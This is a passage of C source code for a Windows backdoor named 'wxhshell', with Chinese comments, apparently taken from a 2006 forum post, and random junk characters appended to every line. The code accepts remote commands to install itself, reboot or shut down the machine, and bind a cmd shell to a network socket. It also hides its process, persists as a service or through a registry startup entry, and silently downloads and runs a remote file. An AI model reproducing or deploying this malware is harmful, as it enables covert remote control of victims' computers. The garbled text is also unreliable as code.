    switch(cmd[0]) { JVIcNK)  
  "8C(_z+]K`  
  // 帮助 ^0BF2&Zx  
  case '?': { ^0 ,&R\e+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d/-]y:`f`  
    break; h>`'\qy  
  } ~n]2)>6  
  // 安装 KWZNu &)  
  case 'i': {  8t^;O!  
    if(Install()) +'YSpJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCOuv6V+  
    else *|.yX%"k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ow&'sR'CX  
    break; Y;I(6`,Y  
    } a_#eGe>  
  // 卸载 w!GU~0~3[  
  case 'r': { [b)K@Ha  
    if(Uninstall()) szM=U$jKq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U mx  
    else Z({`9+/>u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m= beB\=  
    break; _QtQPK\+  
    } s'fcAh,c6  
  // 显示 wxhshell 所在路径 ,a?\i JNb  
  case 'p': { q_m#BE;t  
    char svExeFile[MAX_PATH]; WTy8N  
    strcpy(svExeFile,"\n\r"); e[VJ0 A=  
      strcat(svExeFile,ExeFile); nH3b<k;S  
        send(wsh,svExeFile,strlen(svExeFile),0); 0 S`b;f  
    break; oT5rX ,8  
    } JXa%TpI: E  
  // 重启 N6 }i>";_;  
  case 'b': { kI1{>vYD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vG Lb2Q  
    if(Boot(REBOOT)) #.t$A9'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3?Pp[tM<  
    else { Wn9Mr2r!*,  
    closesocket(wsh); !?>p]0*<  
    ExitThread(0);  "lnk  
    } Zn=JmZ  
    break; =jd=Qs IL  
    } pa> 2JF*  
  // 关机 1_E3DXe  
  case 'd': { :92a34  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~4 xBa:*z  
    if(Boot(SHUTDOWN)) (k HQKQmq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YI(OrR;V  
    else { 0R!}}*Ee>q  
    closesocket(wsh); MH~qfH>K  
    ExitThread(0); `?S?)0B  
    } 5t1DB'K9$_  
    break; 5<GRi "7A@  
    } >A@D;vx  
  // 获取shell t;~`Lm@hY  
  case 's': { kGTc~p(  
    CmdShell(wsh);  Vgb>3]SU  
    closesocket(wsh); X72X:"  
    ExitThread(0); -H]f@|AOw  
    break; `\FjO"  
  } o5G"J"vxe  
  // 退出 s$y#Ufz  
  case 'x': { /v ;Kb|e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a0W\?  
    CloseIt(wsh); arH\QPaka'  
    break; J,M5<s[Xqt  
    } oP`M\KXau  
  // 离开 o%JIJ7M  
  case 'q': { (w:ACJ[[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O?J:+L(  
    closesocket(wsh); 2B?i2[a,  
    WSACleanup(); 50hh0!1  
    exit(1); EF^=3  
    break; #3[b|cL  
        } o)D+qiA3U  
  } dGW7,B~  
  } u4^"E+y^S  
8}E(UsTa  
  // 提示信息 (c|qX-%rC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O)Dw<j)  
} $U.'K!B  
  } *t*&Q /W  
zMqEMx9  
  return; DczF0Ow  
} ]mT} \b  
B]}V$*$ \?  
// shell模块句柄 M4PUJZ]  
int CmdShell(SOCKET sock) iBW6<2@oZF  
{ RvZ-w$E&?  
STARTUPINFO si; T[=cKYp8\  
ZeroMemory(&si,sizeof(si)); Qi]Z)v{^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cTx/Y&\9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 &Aa b56  
PROCESS_INFORMATION ProcessInfo; o[W3/  
char cmdline[]="cmd"; g-gBg\y{v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cZT.vA#  
  return 0; /<(ik&%N  
} O,Gn2Do  
v23Uh2[@Yy  
// 自身启动模式 0!\q  
int StartFromService(void) 7Cp_ 41._  
{ FAl6  
typedef struct u9~J1s<e  
{  y, _3Ks  
  DWORD ExitStatus; AFUl   
  DWORD PebBaseAddress; R*fR?  
  DWORD AffinityMask; myX0<j3G5  
  DWORD BasePriority; >^HTghgRD  
  ULONG UniqueProcessId; w:+#,,rwzV  
  ULONG InheritedFromUniqueProcessId; Bzt`9lg  
}   PROCESS_BASIC_INFORMATION; E }j8p_p  
zFQkUgb  
PROCNTQSIP NtQueryInformationProcess; Y rnqi-P  
|^{" 2l"j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u(`A?H:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O!Cu.9}  
(,y/nc=GN  
  HANDLE             hProcess; xTJ5VgG  
  PROCESS_BASIC_INFORMATION pbi; ?^ 5*[H  
s hvcc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); * %BI*p  
  if(NULL == hInst ) return 0; ,w>?N\w!}  
JLn<,Gn)<\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %"fKZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *9 wHH-#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g}KZL-p4\m  
^}\R]})w"  
  if (!NtQueryInformationProcess) return 0; ]arskmB]  
s4k%ty}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fG5}'8  
  if(!hProcess) return 0; o^6j(~  
X6 :~Rjim*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #;]F:TlR  
0 d]G  
  CloseHandle(hProcess); ^ w1R"qE"m  
2` qXD fD`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0Ch._~Q+20  
if(hProcess==NULL) return 0; n9-[z2n  
`:O.g9  
HMODULE hMod; 0lN8#k>H  
char procName[255]; :[0 3upyS  
unsigned long cbNeeded; Ls*=mh~IY  
2=+ ,jX{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =upP3rw  
H;&t"Ql.  
  CloseHandle(hProcess); .w)t<7 y  
TvwIro  
if(strstr(procName,"services")) return 1; // 以服务启动 :!h H`l}p  
!S{<Xc'wv  
  return 0; // 注册表启动 !WnI`  
} ji=po;g=E  
z59J=?|  
// 主模块 ~-i?=  
int StartWxhshell(LPSTR lpCmdLine) *4y r7~S5  
{ tpK4 gjf  
  SOCKET wsl; #ySx$WT;  
BOOL val=TRUE; Z+7S,M  
  int port=0; [.,6~=}vP  
  struct sockaddr_in door; -y<uAI g  
4gENV{ L  
  if(wscfg.ws_autoins) Install(); x0GZ2*vfsb  
bf(&N-"A  
port=atoi(lpCmdLine); tYa8I/HpT  
0MPDD%TP  
if(port<=0) port=wscfg.ws_port; 0yNlf-O  
0n=E.qZ9c  
  WSADATA data; Gzt5efygKt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oFp&j@`k8j  
sAlgp2-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &nP rozC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >YhqL62!a  
  door.sin_family = AF_INET; .#|pje^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wv-8\)oA  
  door.sin_port = htons(port); DBDfB b  
jp`N%O]6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `_)dEu  
closesocket(wsl); ;0gpS y$#  
return 1; q(W@=-uDK  
} +Z*%,m=N(  
I),8EEf\  
  if(listen(wsl,2) == INVALID_SOCKET) { 4[q * 7m  
closesocket(wsl); JK`P mp>  
return 1; 5yID%  
} {{,%p#/b  
  Wxhshell(wsl); )' #(1 ,1k  
  WSACleanup(); A?zW!'  
CG;D(AWR;  
return 0; A>puk2s  
,V?,I9qf  
} jU$PO\UTk  
a=dN.OB}F7  
// 以NT服务方式启动 cj *4 XYu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,YTIYG](  
{ p2K9R4  
DWORD   status = 0; gK CIfxM  
  DWORD   specificError = 0xfffffff; "Wp<^ssMo  
Le!I-i( aD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3F1Z$d(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KK6YA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Dm&A$r  
  serviceStatus.dwWin32ExitCode     = 0; qfU3Cwy  
  serviceStatus.dwServiceSpecificExitCode = 0; }d(6N&;"zN  
  serviceStatus.dwCheckPoint       = 0; u@B"*V~K  
  serviceStatus.dwWaitHint       = 0; n21J7;\/+  
lTXU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #UQ[8e  
  if (hServiceStatusHandle==0) return; sh1()vT  
U|nk8 6r  
status = GetLastError(); i}19$x.D`  
  if (status!=NO_ERROR) 8Yh2K}  
{ f/ZE_MN2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f]}F_]  
    serviceStatus.dwCheckPoint       = 0; }UrtDXhA  
    serviceStatus.dwWaitHint       = 0; f7'%AuSQ(  
    serviceStatus.dwWin32ExitCode     = status; d,)L,J  
    serviceStatus.dwServiceSpecificExitCode = specificError; F`u~Jx8.*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y(k2p  
    return; Kf.b <wP{  
  } 6X7_QBC)  
(Wn'.|^%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H=jnCGk  
  serviceStatus.dwCheckPoint       = 0; ]!N5jbA@  
  serviceStatus.dwWaitHint       = 0; OBZj-`fqJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X#yl8k_  
} @!$NUY8,A#  
rxARJ so  
// 处理NT服务事件,比如:启动、停止 2wd(0K}b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $c-3Q|C  
{ i  *<,@*  
switch(fdwControl) fVM%.`  
{ CvN~  
case SERVICE_CONTROL_STOP: XHr{\/4V  
  serviceStatus.dwWin32ExitCode = 0; O 2U/zF:X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,#G@ri:B  
  serviceStatus.dwCheckPoint   = 0; Z=|@76  
  serviceStatus.dwWaitHint     = 0; ~#@EjQCq  
  { Lj H];=R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N+\*:$>zt6  
  } abND#t  
  return; [H6>]&  
case SERVICE_CONTROL_PAUSE: S,H{\c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /2:r}O  
  break; MD7[}cB  
case SERVICE_CONTROL_CONTINUE: 1 .M?Hp9i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j*5VJ:  
  break; R|suBF3  
case SERVICE_CONTROL_INTERROGATE: \ *2IU"R  
  break; pGIeW}2'9  
}; zin ,yJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VxCH}&!  
} 9c6=[3)V  
B:4u 2/!5  
// 标准应用程序主函数 [Z 0 e$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f As:[  
{ ^{w&&+#,q  
MPt7 /  
// 获取操作系统版本 p,Z6/e[SI  
OsIsNt=GetOsVer(); bY>Ug{O;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S;])Nt'X'  
!o@-kl  
  // 从命令行安装 t]x HM  
  if(strpbrk(lpCmdLine,"iI")) Install(); EVf'1^f  
ciTQH (G  
  // 下载执行文件 sqw _c{9  
if(wscfg.ws_downexe) { lwU&jo*@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7,1idY%cy  
  WinExec(wscfg.ws_filenam,SW_HIDE); JI^w1I, T  
} W{0:8_EI  
Q-"FmD-Yw  
if(!OsIsNt) { ;Gi w7a)  
// 如果时win9x,隐藏进程并且设置为注册表启动 SCjACQ}-  
HideProc(); EP[ gq  
StartWxhshell(lpCmdLine); Cn,jLy  
} \o^+'4hq<5  
else qb_V ,b9  
  if(StartFromService()) '/j`j>'!^  
  // 以服务方式启动 %VMazlM15  
  StartServiceCtrlDispatcher(DispatchTable); +,MzD'(D  
else h %nZKhm  
  // 普通方式启动 4=9F1[  
  StartWxhshell(lpCmdLine); I$Z"o9"  
+|.#<]GA  
return 0; {b?)|@)is  
}
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只看该作者 1 发表于: 2006-10-10
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